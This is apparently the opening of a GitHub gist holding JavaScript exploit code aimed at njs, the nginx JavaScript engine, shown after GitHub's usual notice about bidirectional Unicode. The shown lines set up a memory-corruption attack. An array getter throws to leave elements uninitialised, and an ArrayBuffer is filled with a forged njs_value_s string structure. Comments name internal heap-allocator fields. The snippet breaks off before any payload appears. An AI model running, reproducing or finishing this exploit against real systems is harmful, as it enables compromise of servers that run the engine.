This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let uninitArr = null; | |
let buggy_arr = new Array(0x100); | |
Object.defineProperty(buggy_arr, 0, { get: (s) => { throw new Error(); } }); | |
let arrBuf = new ArrayBuffer(0x378); | |
let u8Arr = new Uint8Array(arrBuf); | |
u8Arr[16 * 0x37 + 0] = 5; // njs_value_s.type = NJS_STRING | |
u8Arr[16 * 0x37 + 1] = 0xee; // njs_value_s.short_string.{size,length} = 14 | |
// u8Arr[16 * 0x37 + 8] is njs_mp_block_t.node.left, (were not in debug :D) |